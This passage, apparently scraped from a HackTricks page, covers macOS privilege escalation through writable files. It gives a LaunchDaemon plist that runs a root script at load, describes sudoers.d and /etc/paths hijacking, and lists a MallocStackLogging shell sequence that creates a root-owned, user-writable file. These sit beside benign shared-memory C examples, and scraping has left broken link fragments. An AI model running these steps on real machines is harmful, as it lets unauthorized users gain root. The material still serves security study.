<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.sample.Load</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Scripts/privesc.sh</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
</plist>

Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.

Sudoers File

If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.

PATH files

The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.

You can also write files in /etc/paths.d to load new folders into the PATH env variable.

Generate writable files as other users

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX Shared Memory

POSIX shared memory allows processes in POSIX-compliant operating systems to access a common memory area, facilitating faster communication compared to other inter-process communication methods. It involves creating or opening a shared memory object with shm_open(), setting its size with ftruncate(), and mapping it into the process's address space using mmap(). Processes can then directly read from and write to this memory area. To manage concurrent access and prevent data corruption, synchronization mechanisms such as mutexes or semaphores are often used. Finally, processes unmap and close the shared memory with munmap() and close(), and optionally remove the memory object with shm_unlink(). This system is especially effective for efficient, fast IPC in environments where multiple processes need to access shared data rapidly.

Producer Code Example
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    const char *name = "/my_shared_memory";
    const int SIZE = 4096; // Size of the shared memory object

    // Create the shared memory object
    int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
    if (shm_fd == -1) {
        perror("shm_open");
        return EXIT_FAILURE;
    }

    // Configure the size of the shared memory object
    if (ftruncate(shm_fd, SIZE) == -1) {
        perror("ftruncate");
        return EXIT_FAILURE;
    }

    // Memory map the shared memory
    void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
    if (ptr == MAP_FAILED) {
        perror("mmap");
        return EXIT_FAILURE;
    }

    // Write to the shared memory
    sprintf(ptr, "Hello from Producer!");

    // Unmap and close, but do not unlink
    munmap(ptr, SIZE);
    close(shm_fd);

    return 0;
}
Consumer Code Example
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    const char *name = "/my_shared_memory";
    const int SIZE = 4096; // Size of the shared memory object

    // Open the shared memory object
    int shm_fd = shm_open(name, O_RDONLY, 0666);
    if (shm_fd == -1) {
        perror("shm_open");
        return EXIT_FAILURE;
    }

    // Memory map the shared memory
    void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
    if (ptr == MAP_FAILED) {
        perror("mmap");
        return EXIT_FAILURE;
    }

    // Read from the shared memory
    printf("Consumer received: %s\n", (char *)ptr);

    // Cleanup
    munmap(ptr, SIZE);
    close(shm_fd);
    shm_unlink(name); // Optionally unlink

    return 0;
}

macOS Guarded Descriptors

macOSCguarded descriptors are a security feature introduced in macOS to enhance the safety and reliability of file descriptor operations in user applications. These guarded descriptors provide a way to associate specific restrictions or "guards" with file descriptors, which are enforced by the kernel.

This feature is particularly useful for preventing certain classes of security vulnerabilities such as unauthorized file access or race conditions. These vulnerabilities occurs when for example a thread is accessing a file description giving another vulnerable thread access over it or when a file descriptor is inherited by a vulnerable child process. Some functions related to this functionality are:

  • guarded_open_np: Opend a FD with a guard

  • guarded_close_np: Close it

  • change_fdguard_np: Change guard flags on a descriptor (even removing the guard protection)

References

Support HackTricks

Example in:

For example:

A devfs mount doesn't support xattr, more info in

In the it's possible to see that the ACL text representation stored inside the xattr called com.apple.acl.text is going to be set as ACL in the decompressed file. So, if you compressed an application into a zip file with AppleDouble file format with an ACL that prevents other xattrs to be written to it... the quarantine xattr wasn't set into de application:

Check the for more information.

This will generate a file that belongs to root that is writable by me (). This might also work as privesc:

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Check the !

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Share hacking tricks by submitting PRs to the and github repos.

🍏
https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions
https://youtu.be/f1HA5QhLQ7Y?t=21098
CVE-2023-32364
source code
original report
macOS xattr-acls extra stuff
code from here
https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/
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